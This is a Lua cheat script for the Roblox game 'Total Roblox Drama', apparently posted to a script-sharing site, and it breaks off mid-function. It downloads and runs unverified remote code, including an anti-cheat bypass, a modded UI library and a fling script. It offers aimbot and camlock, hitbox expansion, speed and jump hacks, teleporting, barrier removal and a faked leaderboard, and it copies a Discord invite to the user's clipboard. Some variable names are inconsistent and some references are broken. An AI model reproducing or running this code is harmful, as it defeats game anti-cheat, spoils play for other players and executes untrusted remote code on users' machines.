
Key Required

setclipboard("https://discord.gg/dSTJBw4sw")
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
loadstring(game:HttpGet('https://raw.githubusercontent.com/Pixeluted/adoniscries/main/Source.lua'))()
if not cloneref then cloneref = function(x) return x end end
if not gethui then gethui = function() return game:GetService("CoreGui") end end
if not writefile then writefile = function() end end
if not readfile then readfile = function() return "" end end
if not makefolder then makefolder = function() end end
if not isfile then isfile = function() return false end end
if not isfolder then isfolder = function() return false end end
if not getcustomasset then getcustomasset = function() return "" end end
if not isrbxactive then isrbxactive = function() return true end end
if not protect_gui then protect_gui = function() end end
if not get_hidden_gui then get_hidden_gui = gethui end
if not getgenv then getgenv = function() return getfenv(0) end end
local SCRIPT_URL = ""
local Rayfield
local _rfSrc
local _ok1, _res1 = pcall(function() return game:HttpGet("https://raw.githubusercontent.com/kobidelrey/Rayfield-modded/main/source.lua") end)
if _ok1 and _res1 and #_res1 > 500 then
_rfSrc = _res1
else
local _ok2, _res2 = pcall(function() return game:HttpGet("https://raw.githubusercontent.com/kobidelrey/Rayfield-modded/main/source.lua") end)
if _ok2 and _res2 and #_res2 > 500 then
_rfSrc = _res2
end
end
if not _rfSrc then
warn("[AzuWave] Failed to load Rayfield, check your internet or executor HTTP access.")
return
end
local _loadedFunc, _loadErr = loadstring(_rfSrc)
if not _loadedFunc then
warn("[AzuWave] Rayfield syntax error: " .. tostring(_loadErr))
return
end
local _rfOk, _rfResult = pcall(_loadedFunc)
if not _rfOk then
warn("[AzuWave] Rayfield failed to initialize: " .. tostring(_rfResult))
return
end
Rayfield = _rfResult
local _AzuWaveHttp = game:GetService("HttpService")
local _AzuWave_Elements = {}
local function DramaWare_EnsureFolders()
pcall(function()
if not isfolder("AzuWave") then makefolder("AzuWave") end
if not isfolder("AzuWave/Configs") then makefolder("DramaWare/Configs") end
end)
end
local function DramaWare_ListConfigs()
local names = {}
pcall(function()
DramaWare_EnsureFolders()
local files = (listfiles and listfiles("DramaWare/Configs")) or {}
for _, path in ipairs(files) do
local name = tostring(path):match("([^/\\]+)%.json$")
if name and name ~= "" then table.insert(names, name) end
end
end)
if #names == 0 then names = {"(no saved configs)"} end
return names
end
local _DramaWare_SkipFlags = { DramaWareConfigDropdown = true }
local function DramaWare_PackColor(c)
return {R = math.floor(c.R * 255 + 0.5), G = math.floor(c.G * 255 + 0.5), B = math.floor(c.B * 255 + 0.5)}
end
local function DramaWare_UnpackColor(t)
return Color3.fromRGB(t.R or 0, t.G or 0, t.B or 0)
end
local function DramaWare_SaveConfig(name)
DramaWare_EnsureFolders()
local data = {}
for flag, obj in pairs(Rayfield.Flags) do
if not _DramaWare_SkipFlags[flag] then
pcall(function()
if obj.Type == "ColorPicker" then
if obj.Color then
data[flag] = DramaWare_PackColor(obj.Color)
end
elseif typeof(obj.CurrentValue) == "boolean" then
data[flag] = obj.CurrentValue
else
local v = obj.CurrentValue or obj.CurrentKeybind or obj.CurrentOption or obj.Color
if v ~= nil then data[flag] = v end
end
end)
end
end
local ok, json = pcall(function() return _DramaWareHttp:JSONEncode(data) end)
if ok then
pcall(function() writefile("DramaWare/Configs/" .. name .. ".json", json) end)
end
end
local function DramaWare_LoadConfig(name)
local path = "DramaWare/Configs/" .. name .. ".json"
local exists = false
pcall(function() exists = isfile(path) end)
if not exists then return false end
local ok, data = pcall(function()
return _DramaWareHttp:JSONDecode(readfile(path))
end)
if ok and data then
for flag, value in pairs(data) do
if not _DramaWare_SkipFlags[flag] then
local f, v = flag, value
task.spawn(function()
pcall(function()
local flagObj = Rayfield.Flags[f]
if flagObj and flagObj.Type == "ColorPicker" and type(v) == "table" then
v = DramaWare_UnpackColor(v)
end
local el = _DramaWare_Elements[f]
if el and el.Set then
el:Set(v)
elseif flagObj and flagObj.Set then
flagObj:Set(v)
end
end)
end)
end
end
return true
end
return false
end
local function DramaWare_PatchTab(tab)
if not tab then return end
for _, m in ipairs({"CreateToggle","CreateDropdown","CreateSlider","CreateColorPicker","CreateKeybind"}) do
local orig = tab[m]
if orig then
tab[m] = function(s, cfg, ...)
local el = orig(s, cfg, ...)
if cfg and type(cfg) == "table" and cfg.Flag and el then
_DramaWare_Elements[cfg.Flag] = el
end
return el
end
end
end
end
local isCamp = game.PlaceId == 4939362930
local isLobby = game.PlaceId == 4889315193 or game.PlaceId == 14884976124
local isPractice = game.PlaceId == 15365802831
local isMovies = game.PlaceId == 4939362610
local isExpedition = game.PlaceId == 7172152072
local queueTeleport = queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport) or nil
if queueTeleport and SCRIPT_URL ~= "" then
queueTeleport('loadstring(game:HttpGet("' .. SCRIPT_URL .. '"))()')
end
local function saveTheme(theme)
pcall(function()
if not isfolder("DramaWare") then makefolder("DramaWare") end
writefile("DramaWare/Theme.txt", theme)
end)
end
local function loadTheme()
local theme = nil
pcall(function()
if isfile("DramaWare/Theme.txt") then
local t = readfile("DramaWare/Theme.txt"):match("^%s*(.-)%s*$")
if t and t ~= "" then theme = t end
end
end)
return theme
end
if not isCamp and not isLobby and not isPractice and not isMovies and not isExpedition then
Rayfield:Notify({
Title = "Wrong Game",
Content = "Execute this script in Total Roblox Drama: Camp or Movies",
Duration = 6,
Image = "alert-triangle",
})
return
end
if not request then request = http_request or (syn and syn.request) or (function() end) end
if not setclipboard then setclipboard = toclipboard or (Clipboard and Clipboard.set) or function() end end
if not firetouchinterest then firetouchinterest = function() end end
if not fireclickdetector then fireclickdetector = function() end end
local player = game:GetService("Players").LocalPlayer
local camera = workspace.CurrentCamera
-- cam lock
local _Players = game:GetService('Players')
local _RunService = game:GetService('RunService')
local _LocalPlayer = _Players.LocalPlayer
local v4 = _LocalPlayer
_LocalPlayer.GetMouse(v4)
local u5 = false
local u6 = 0.1768
function FindNearestEnemy()
local _huge = math.huge
local v8 = Vector2.new(game:GetService('GuiService'):GetScreenResolution().X / 2, game:GetService('GuiService'):GetScreenResolution().Y / 2)
local v9 = _Players
local v10, v11, v12 = ipairs(v9:GetPlayers())
local v13 = nil
while true do
local v14
v12, v14 = v10(v11, v12)
if v12 == nil then break end
if v14 ~= _LocalPlayer then
local _Character = v14.Character
if _Character and (_Character:FindFirstChild('HumanoidRootPart') and _Character.Humanoid.Health > 0) then
local v16, v17 = workspace.CurrentCamera:WorldToViewportPoint(_Character.HumanoidRootPart.Position)
if v17 then
local _Magnitude = (v8 - Vector2.new(v16.X, v16.Y)).Magnitude
if _Magnitude < _huge then
v13 = v14
_huge = _Magnitude
end
end
end
end
end
return v13
end
local function u21(p19)
if p19 and p19.Character then
local _Highlight = Instance.new('Highlight')
_Highlight.Adornee = p19.Character
_Highlight.FillColor = Color3.fromRGB(255, 255, 255)
_Highlight.OutlineColor = Color3.fromRGB(0, 0, 0)
_Highlight.FillTransparency = 0.5
_Highlight.OutlineTransparency = 0
_Highlight.Parent = p19.Character
return _Highlight
end
end
local function u27(p22)
if p22 and p22.Character then
local v23, v24, v25 = ipairs(p22.Character:GetChildren())
while true do
local v26
v25, v26 = v23(v24, v25)
if v25 == nil then break end
if v26:IsA('Highlight') then v26:Destroy() end
end
end
end
local u28 = nil
local u29 = nil
_RunService.Heartbeat:Connect(function()
if u5 and (u28 and u28.Character) then
local _CurrentCamera = workspace.CurrentCamera
local _HumanoidRootPart = u28.Character:FindFirstChild('HumanoidRootPart')
if _HumanoidRootPart then
_CurrentCamera.CFrame = CFrame.new(_CurrentCamera.CFrame.p, _HumanoidRootPart.Position + _HumanoidRootPart.Velocity * u6)
end
end
end)
local _ScreenGui = Instance.new('ScreenGui')
local _CL_Button = Instance.new('TextButton')
local _UICorner = Instance.new('UICorner')
_ScreenGui.Name = 'veerve'
_ScreenGui.Enabled = false
_ScreenGui.Parent = game:GetService('CoreGui')
_ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
_CL_Button.Parent = _ScreenGui
_CL_Button.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
_CL_Button.BackgroundTransparency = 0.3
_CL_Button.BorderSizePixel = 0
_CL_Button.Position = UDim2.new(0.5, -50, 0, 40)
_CL_Button.Size = UDim2.new(0, 100, 0, 24)
_CL_Button.Font = Enum.Font.GothamBold
_CL_Button.Text = 'camlock: off'
_CL_Button.TextColor3 = Color3.fromRGB(255, 255, 255)
_CL_Button.TextSize = 13
_UICorner.CornerRadius = UDim.new(0, 6)
_UICorner.Parent = _CL_Button
_CL_Button.MouseButton1Click:Connect(function()
u5 = not u5
if u5 then
u28 = FindNearestEnemy()
if u28 then u29 = u21(u28) end
_CL_Button.Text = 'camlock: on'
_CL_Button.TextColor3 = Color3.fromRGB(100, 255, 130)
else
if u29 then u27(u28) u29 = nil end
u28 = nil
_CL_Button.Text = 'camlock: off'
_CL_Button.TextColor3 = Color3.fromRGB(255, 255, 255)
end
end)
-- floor bounce & lag high jump
do
local _RunService = game:GetService("RunService")
local _UIS = game:GetService("UserInputService")
local _lhj_enabled = true
local _lhj_freeze = 0.15
local _lhj_height = 69
local _lhj_cooldown = 0.5
local _lhj_last = 0
local function _isChatFocused()
return _UIS:GetFocusedTextBox() ~= nil
end
function dolaghighjump(skipChecks)
if not _lhj_enabled then return end
if not skipChecks and (tick() - _lhj_last) < _lhj_cooldown then return end
local char = game.Players.LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
local hum = char and char:FindFirstChildOfClass("Humanoid")
if hrp and hum then
if not skipChecks and hum.FloorMaterial == Enum.Material.Air then return end
_lhj_last = tick()
hum:ChangeState(Enum.HumanoidStateType.Jumping)
task.wait(0.01)
local s = os.clock()
while os.clock() - s < _lhj_freeze do end
hrp.AssemblyLinearVelocity = Vector3.new(
hrp.AssemblyLinearVelocity.X,
_lhj_height,
hrp.AssemblyLinearVelocity.Z
)
end
end
function doFloorBounce()
local char = game.Players.LocalPlayer.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
if not hum then return end
if hum.FloorMaterial == Enum.Material.Air then return end
hum:ChangeState(Enum.HumanoidStateType.Jumping)
task.spawn(function()
repeat task.wait() until hum.FloorMaterial == Enum.Material.Air
repeat task.wait() until hum.FloorMaterial ~= Enum.Material.Air
dolaghighjump(true)
end)
end
-- fps bounce boost
local _LedgeEnabled = false
local _LedgeReach = 1.0
local _FpsBounceEnabled = false
local _FpsPower = 42
local _FpsVertical = 21
local _lastClimbTime = 0
-- Expose toggle so Admin tab UI can enable/disable
_G._DramaWare_SetLedge = function(v)
_LedgeEnabled = v
_FpsBounceEnabled = v
end
_RunService.Heartbeat:Connect(function()
if not _LedgeEnabled then return end
local char = game.Players.LocalPlayer.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
local hum = char and char:FindFirstChildOfClass("Humanoid")
if not hrp or not hum then return end
if hum.FloorMaterial ~= Enum.Material.Air then return end
if hum:GetState() == Enum.HumanoidStateType.Climbing then return end
if (tick() - _lastClimbTime) < 0.1 then return end
local forward = Vector3.new(hrp.CFrame.LookVector.X, 0, hrp.CFrame.LookVector.Z).Unit
local flatVel = Vector3.new(hrp.AssemblyLinearVelocity.X, 0, hrp.AssemblyLinearVelocity.Z)
if flatVel:Dot(forward) < 0.5 then return end
local params = RaycastParams.new()
params.FilterDescendantsInstances = {char}
params.FilterType = Enum.RaycastFilterType.Exclude
local wallRay = workspace:Raycast(hrp.Position, forward * _LedgeReach, params)
if not wallRay then return end
local distToWall = (Vector3.new(wallRay.Position.X, hrp.Position.Y, wallRay.Position.Z) - hrp.Position).Magnitude
local nativeRange = hrp.Size.Z / 2 + 0.6
if distToWall <= nativeRange then return end
local probeOrigin = Vector3.new(wallRay.Position.X, hrp.Position.Y + 3.5, wallRay.Position.Z)
local topRay = workspace:Raycast(probeOrigin, Vector3.new(0, -5, 0), params)
if not topRay then return end
local heightDiff = topRay.Position.Y - hrp.Position.Y
if heightDiff < -2.0 or heightDiff > 5.0 then return end
if topRay.Normal.Y < 0.7 then return end
local halfDepth = hrp.Size.Z / 2 + 0.05
local snapPos = wallRay.Position + wallRay.Normal * halfDepth
hrp.CFrame = CFrame.new(
Vector3.new(snapPos.X, hrp.Position.Y, snapPos.Z),
Vector3.new(snapPos.X, hrp.Position.Y, snapPos.Z) + forward
)
_lastClimbTime = tick()
end)
_UIS.JumpRequest:Connect(function()
local char = game.Players.LocalPlayer.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if not hum or not hrp then return end
if hum:GetState() == Enum.HumanoidStateType.Climbing then
if tick() - _lastClimbTime > 0.2 then
if _FpsBounceEnabled then
local velocity = (-hrp.CFrame.LookVector * _FpsPower) + Vector3.new(0, _FpsVertical, 0)
hum:ChangeState(Enum.HumanoidStateType.Jumping)
task.spawn(function()
local s = tick()
while tick() - s < 0.12 do
hrp.AssemblyLinearVelocity = velocity
_RunService.Heartbeat:Wait()
end
end)
end
end
end
end)
-- ALT keybind
_RunService.Heartbeat:Connect(function()
if _isChatFocused() then return end
if _UIS:IsKeyDown(Enum.KeyCode.LeftAlt) then
local char = game.Players.LocalPlayer.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
if hum and hum.FloorMaterial ~= Enum.Material.Air then
dolaghighjump()
end
end
end)
-- on-screen gui buttons
local _PlayerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local _LHJGui = Instance.new("ScreenGui")
_LHJGui.Name = "LagHighJumpUI"
_LHJGui.ResetOnSpawn = false
_LHJGui.Enabled = false
_LHJGui.Parent = _PlayerGui
_G._DramaWare_LHJGui = _LHJGui
local _LHJButton = Instance.new("TextButton")
_LHJButton.Size = UDim2.new(0, 110, 0, 36)
_LHJButton.Position = UDim2.new(1, -140, 1, -160)
_LHJButton.AnchorPoint = Vector2.new(0, 0)
_LHJButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
_LHJButton.BackgroundTransparency = 0.3
_LHJButton.TextColor3 = Color3.fromRGB(255, 255, 255)
_LHJButton.TextScaled = true
_LHJButton.Font = Enum.Font.SourceSansBold
_LHJButton.Text = "Lag High Jump"
_LHJButton.ZIndex = 10
_LHJButton.Parent = _LHJGui
local _FBButton = Instance.new("TextButton")
_FBButton.Size = UDim2.new(0, 110, 0, 36)
_FBButton.Position = UDim2.new(1, -140, 1, -205)
_FBButton.AnchorPoint = Vector2.new(0, 0)
_FBButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
_FBButton.BackgroundTransparency = 0.3
_FBButton.TextColor3 = Color3.fromRGB(255, 255, 255)
_FBButton.TextScaled = true
_FBButton.Font = Enum.Font.SourceSansBold
_FBButton.Text = "Floor Bounce"
_FBButton.ZIndex = 10
_FBButton.Parent = _LHJGui
_LHJButton.MouseButton1Click:Connect(function()
if not _isChatFocused() then dolaghighjump() end
end)
_FBButton.MouseButton1Click:Connect(function()
if not _isChatFocused() then doFloorBounce() end
end)
end
if isLobby then
local _lobbyTheme = loadTheme() or "Default"
local Window = Rayfield:CreateWindow({
Name = "Dramaware | discord.gg/bq2ah37FX",
LoadingTitle = "Dramaware (Lobby)",
LoadingSubtitle = "made by kobi and irib",
Icon = "flame",
ShowText = "Dramaware",
Theme = _lobbyTheme,
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
MinimizeKey = Enum.KeyCode.LeftControl,
CustomUIStrings = {
["Rayfield"] = "Dramaware",
["Hide"] = "Hide",
["Show"] = "Show",
},
})
local InfoTab = Window:CreateTab("Info", "info")
InfoTab:CreateSection("Dramaware")
InfoTab:CreateLabel("You are in the Lobby.", "home")
InfoTab:CreateLabel("All game modes supported: Camp, Movies, Expedition, Practice.", "gamepad-2")
InfoTab:CreateButton({
Name = "Fling/Restart Day (Reanimate)",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end,
})
InfoTab:CreateDivider()
local ClientTab = Window:CreateTab("Visuals", "eye")
_G.SelectedFont = nil
_G.StaticColor = Color3.fromRGB(255, 182, 193)
_G.StaticColorCustom = false
_G.RainbowMode = false
_G.RainbowSpeed = 0.5
_G.CustomName = ""
_G.UseCustomName = false
ClientTab:CreateSection("Appearance")
ClientTab:CreateInput({
Name = "Custom Name",
PlaceholderText = "Enter name here...",
RemoveTextAfterFocusLost = false,
Callback = function(Text)
_G.CustomName = Text
_G.UseCustomName = (Text ~= "")
end,
})
ClientTab:CreateButton({
Name = "Apply Starborn Font",
Callback = function()
local _sfHttp = game:GetService("HttpService")
local _sfTTF = "starborn.ttf"
local _sfJSON = "Starborn.json"
local _sfURL = "https://drive.google.com/uc?export=download&id=1k9H8G60p7iaJL4hHcyWEXgWJbONqam8_"
local _sfMult = 0.6
local _sfBlacklist = {
"Chat", "BubbleChat", "ChatChannelParentFrame", "MessageLogDisplay",
"DevConsoleMaster", "DeveloperConsole", "RobloxGui", "RobloxPromptGui",
"PlayerList", "StatLabel", "StatusText"
}
local function _sfApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
for _, name in ipairs(_sfBlacklist) do
if obj.Name == name or obj:FindFirstAncestor(name) then return end
end
obj.FontFace = Font.new(getcustomasset(_sfJSON))
if not obj:GetAttribute("FontScaledV2") then
if obj.TextSize > 0 then
obj.TextSize = math.clamp(obj.TextSize * _sfMult, 8, 100)
end
obj:SetAttribute("FontScaledV2", true)
end
end
if not isfile(_sfTTF) then
writefile(_sfTTF, game:HttpGet(_sfURL))
end
writefile(_sfJSON, _sfHttp:JSONEncode({
name = "Starborn",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_sfTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_sfApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_sfApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Starborn font has been applied!",
Duration = 4,
Image = "x",
})
end,
})
ClientTab:CreateButton({
Name = "Apply Minecraft Font",
Callback = function()
local _mcHttp = game:GetService("HttpService")
local _mcTTF = "minecrafter.ttf"
local _mcJSON = "Minecrafter.json"
local _mcURL = "https://drive.google.com/uc?export=download&id=1_LSZQUGrKHzJctxK7Jp8rVRRVWIvdif4"
local _mcMult = 0.6
local function _mcApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
obj.FontFace = Font.new(getcustomasset(_mcJSON))
if not obj:GetAttribute("FontScaledMC") then
obj.TextSize = math.clamp(obj.TextSize * _mcMult, 8, 100)
obj:SetAttribute("FontScaledMC", true)
end
end
if not isfile(_mcTTF) then
writefile(_mcTTF, game:HttpGet(_mcURL))
end
writefile(_mcJSON, _mcHttp:JSONEncode({
name = "Minecrafter",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_mcTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_mcApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_mcApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Minecraft font has been applied!",
Duration = 4,
Image = "type",
})
end,
})
ClientTab:CreateToggle({
Name = "VIP Name Tag",
CurrentValue = false,
Flag = "VIPNameTagLobby",
Callback = function(Value)
local player = game.Players.LocalPlayer
local char = player.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local playerName = head:FindFirstChild("playerName")
if not playerName then return end
local vip = playerName:FindFirstChild("VIP")
if vip then
vip.Visible = Value
for _, v in ipairs(vip:GetDescendants()) do
if v:IsA("GuiObject") then v.Visible = Value end
end
end
for _, v in ipairs(playerName:GetDescendants()) do
if v:IsA("TextLabel") or v:IsA("TextButton") then
if Value then
if not _G.VIPOrigColors then _G.VIPOrigColors = {} end
if not _G.VIPOrigColors[v] then _G.VIPOrigColors[v] = v.TextColor3 end
v.TextColor3 = Color3.fromRGB(255, 165, 0)
else
if _G.VIPOrigColors and _G.VIPOrigColors[v] then
v.TextColor3 = _G.VIPOrigColors[v]
_G.VIPOrigColors[v] = nil
end
end
end
end
end,
})
ClientTab:CreateToggle({
Name = "Rainbow Effect",
CurrentValue = false,
Flag = "RainbowToggle",
Callback = function(Value)
_G.RainbowMode = Value
end,
})
ClientTab:CreateColorPicker({
Name = "Static Color",
Color = Color3.fromRGB(255, 182, 193),
Flag = "ColorPicker",
Callback = function(Value)
_G.StaticColor = Value
_G.StaticColorCustom = true
end
})
ClientTab:CreateDropdown({
Name = "UI Theme",
Options = {"Default", "AmberGlow", "Amethyst", "Bloom", "DarkBlue", "Green", "Light", "Ocean", "Serenity"},
CurrentOption = {_lobbyTheme},
MultipleOptions = false,
Flag = "ThemeDropdown",
Callback = function(option)
Window.ModifyTheme(option[1])
saveTheme(option[1])
end,
})
ClientTab:CreateButton({
Name = "Apply Starborn Font",
Callback = function()
local _sfHttp = game:GetService("HttpService")
local _sfTTF = "starborn.ttf"
local _sfJSON = "Starborn.json"
local _sfURL = "https://drive.google.com/uc?export=download&id=1k9H8G60p7iaJL4hHcyWEXgWJbONqam8_"
local _sfMult = 0.6
local _sfBlacklist = {
"Chat", "BubbleChat", "ChatChannelParentFrame", "MessageLogDisplay",
"DevConsoleMaster", "DeveloperConsole", "RobloxGui", "RobloxPromptGui",
"PlayerList", "StatLabel", "StatusText"
}
local function _sfApply(obj)
if not (obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox")) then return end
if obj:FindFirstAncestorOfClass("CoreGui") or obj:FindFirstAncestor("RobloxGui") then return end
for _, name in ipairs(_sfBlacklist) do
if obj.Name == name or obj:FindFirstAncestor(name) then return end
end
obj.FontFace = Font.new(getcustomasset(_sfJSON))
if not obj:GetAttribute("FontScaledV2") then
if obj.TextSize > 0 then
obj.TextSize = math.clamp(obj.TextSize * _sfMult, 8, 100)
end
obj:SetAttribute("FontScaledV2", true)
end
end
if not isfile(_sfTTF) then
writefile(_sfTTF, game:HttpGet(_sfURL))
end
writefile(_sfJSON, _sfHttp:JSONEncode({
name = "Starborn",
faces = {{name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(_sfTTF)}}
}))
for _, d in pairs(game:GetDescendants()) do pcall(_sfApply, d) end
game.DescendantAdded:Connect(function(d)
task.wait(0.1)
pcall(_sfApply, d)
end)
Rayfield:Notify({
Title = "Font Applied",
Content = "Starborn font has been applied!",
Duration = 4,
Image = "x",
})
end,
}) ClientTab:CreateButton({
Name = "Fake #1 All Leaderboards",
Callback = function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local avatarUrl = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. player.UserId .. "&width=48&height=48&format=png"
local boards = {
workspace.Elements.MoviesWinLeaderboard,
workspace.Elements.CampWinLeaderboard,
workspace.Elements.ExpeditionWinLeaderboard
}
for _, board in pairs(boards) do
local scrollFrame = board.SurfaceGui.ScrollingFrame
for _, frame in pairs(scrollFrame:GetChildren()) do
if frame:IsA("Frame") then
local placeLabel = frame:FindFirstChild("Image") and frame.Image:FindFirstChild("Place")
if placeLabel and placeLabel.Text == "1" then
frame.PName.Text = player.Name
frame.Image.Image = avatarUrl
break
end
end
end
end
end,
})
ClientTab:CreateDivider()
game:GetService("RunService").RenderStepped:Connect(function()
local char = game.Players.LocalPlayer.Character
if not char then return end
for _, obj in ipairs(char:GetDescendants()) do
if obj:IsA("TextLabel") or obj:IsA("TextButton") then
if _G.UseCustomName and _G.CustomName ~= "" then
obj.Text = _G.CustomName
end
if _G.RainbowMode then
local hue = (tick() * _G.RainbowSpeed) % 1
obj.TextColor3 = Color3.fromHSV(hue, 0.6, 1)
elseif _G.StaticColorCustom then
obj.TextColor3 = _G.StaticColor
end
obj.TextStrokeTransparency = 0.5
obj.BackgroundTransparency = 1
end
end
end)
return
end
local function _BuildUniversalTab(_utab)
_utab:CreateSection("Player")
_utab:CreateSlider({
Name = "Walkspeed",
Range = {1, 350},
Increment = 1,
Suffix = "Speed",
CurrentValue = 16,
Flag = "WalkSpeed",
Callback = function(Value)
workspace[player.Name].Humanoid.WalkSpeed = Value
end,
})
_utab:CreateSlider({
Name = "Jump Power",
Range = {1, 350},
Increment = 1,
Suffix = "Power",
CurrentValue = 50,
Flag = "JumpPower",
Callback = function(Value)
workspace[player.Name].Humanoid.JumpPower = Value
end,
})
_utab:CreateSlider({
Name = "Field of View",
Range = {30, 120},
Increment = 1,
Suffix = "FOV",
CurrentValue = 70,
Flag = "FieldOfView",
Callback = function(Value)
workspace.CurrentCamera.FieldOfView = Value
end,
})
if isCamp then
_utab:CreateToggle({
Name = "Walk on Water",
CurrentValue = false,
Flag = "WalkOnWater",
Callback = function(Value)
workspace.Map["Roblox Drama: Camp"].Map.Lake.Water.CanCollide = Value
end,
})
_utab:CreateButton({
Name = "Lake God-Mode",
Callback = function()
pcall(function()
workspace.Map["Roblox Drama: Camp"].Sand.TouchInterest:Destroy()
end)
end,
})
end
_utab:CreateButton({
Name = "Remove Barriers",
Callback = function()
for i, v in pairs(workspace:GetDescendants()) do
if v.Name == "Glass" or v.Name == "ChallengeGlass" or v.Name == "AwardCeremony" or v.Name == "Drop-Off" then
v:Destroy()
end
end
end,
})
local stat = ""
local list = {}
pcall(function()
for _, v in ipairs(game.ReplicatedStorage.Season.Players:GetChildren()) do
if v.Name ~= player.Name then
table.insert(list, v.Value)
end
end
end)
_utab:CreateDivider()
local Dropdownoo = _utab:CreateDropdown({
Name = "Choose Player",
Options = list,
CurrentOption = {list[1]},
MultipleOptions = false,
Flag = "ChoosePlayer",
Callback = function(Options)
stat = Options[1]
end,
})
_utab:CreateButton({
Name = "Refresh List",
Callback = function()
local nlist = {}
for _, v in ipairs(game.ReplicatedStorage:WaitForChild("Season"):WaitForChild("Players"):GetChildren()) do
if v:IsA("ValueBase") and v.Name ~= player.Name then
table.insert(nlist, tostring(v.Value))
end
end
Dropdownoo:Refresh(nlist)
if #nlist > 0 then
Dropdownoo:Set({nlist[1]})
end
end,
})
_utab:CreateButton({
Name = "Teleport to Player",
Callback = function()
for i, v in ipairs(game.ReplicatedStorage.Season.Players:GetChildren()) do
if v.Value == stat then
player.Character.HumanoidRootPart.CFrame = game.Players:FindFirstChild(v.Name).Character.HumanoidRootPart.CFrame
break
end
end
end,
})
_utab:CreateToggle({
Name = "Highlight Player",
CurrentValue = false,
Flag = "HighlightPlayer",
Callback = function(Value)
for _, v in ipairs(game.ReplicatedStorage.Season.Players:GetChildren()) do
if v.Value == stat then
local targetPlayer = game.Players:FindFirstChild(v.Name)
if not targetPlayer or not targetPlayer.Character then return end
if Value then
if playerHighlight then playerHighlight:Destroy() end
playerHighlight = Instance.new("Highlight")
playerHighlight.FillColor = Color3.fromRGB(255, 221, 0)
playerHighlight.OutlineColor = Color3.fromRGB(255, 221, 0)
playerHighlight.FillTransparency = 0.5
playerHighlight.OutlineTransparency = 0
playerHighlight.Parent = targetPlayer.Character
else
if playerHighlight then
playerHighlight:Destroy()
playerHighlight = nil
end
end
break
end
end
end,
})
-- universal tab
local Players_U = game:GetService("Players")
local RunService_U = game:GetService("RunService")
local LocalPlayer_U = Players_U.LocalPlayer
local Camera_U = workspace.CurrentCamera
local Config = {
aimbotEnabled = false,
highlightEnabled = false,
hitboxEnabled = false,
smoothness = 50,
maxDistance = 500,
fov = 150,
aimPart = "Head",
requireVisibility = true,
hitboxSize = 0.5
}
local playerConnections_U = {}
local playerHitboxParts = {}
local playerHighlights_U = {}
local fovCircle = Drawing.new("Circle")
fovCircle.Thickness = 2
fovCircle.Color = Color3.new(1,1,1)
fovCircle.Transparency = 0.9
fovCircle.Filled = false
fovCircle.Radius = Config.fov
fovCircle.Visible = false
local screenCenter_U = Vector2.new(0, 0)
local function removeHighlight_U(player)
if playerHighlights_U[player] then
playerHighlights_U[player]:Destroy()
playerHighlights_U[player] = nil
end
end
local function applyHighlight_U(player)
if not Config.highlightEnabled or player == LocalPlayer_U then return end
removeHighlight_U(player)
local character = player.Character
if character then
local h = Instance.new("Highlight")
h.FillColor = Color3.fromRGB(255, 50, 50)
h.OutlineColor = Color3.fromRGB(255, 255, 255)
h.FillTransparency = 0.6
h.OutlineTransparency = 0
h.DepthMode = Enum.HighlightDepthMode.Occluded
h.Parent = character
playerHighlights_U[player] = h
end
end
local function removeHitboxExpansion(player)
if playerHitboxParts[player] then
for _, part in ipairs(playerHitboxParts[player]) do
if part and part.Parent then part:Destroy() end
end
playerHitboxParts[player] = nil
end
end
local function applyHitboxExpansion(player)
if not Config.hitboxEnabled or player == LocalPlayer_U then return end
removeHitboxExpansion(player)
local character = player.Character
if not character then return end
playerHitboxParts[player] = {}
local parts = {"Head", "UpperTorso", "LowerTorso", "HumanoidRootPart"}
for _, partName in ipairs(parts) do
local original = character:FindFirstChild(partName)
if original and original:IsA("BasePart") then
local expander = Instance.new("Part")
expander.Name = "HitboxExpander"
expander.Size = original.Size + Vector3.new(Config.hitboxSize, Config.hitboxSize, Config.hitboxSize)
expander.CanCollide = false
expander.CanTouch = false
expander.CanQuery = true
expander.Transparency = 1
expander.Anchored = false
expander.Parent = character
local weld = Instance.new("WeldConstraint")
weld.Part0 = expander
weld.Part1 = original
weld.Parent = expander
table.insert(playerHitboxParts[player], expander)
end
end
end
local function onPlayerAdded_U(player)
playerConnections_U[player] = {}
playerConnections_U[player].CharacterAdded = player.CharacterAdded:Connect(function()
task.wait(0.1)
applyHighlight_U(player)
applyHitboxExpansion(player)
end)
if player.Character then
applyHighlight_U(player)
applyHitboxExpansion(player)
end
end
local function onPlayerRemoving_U(player)
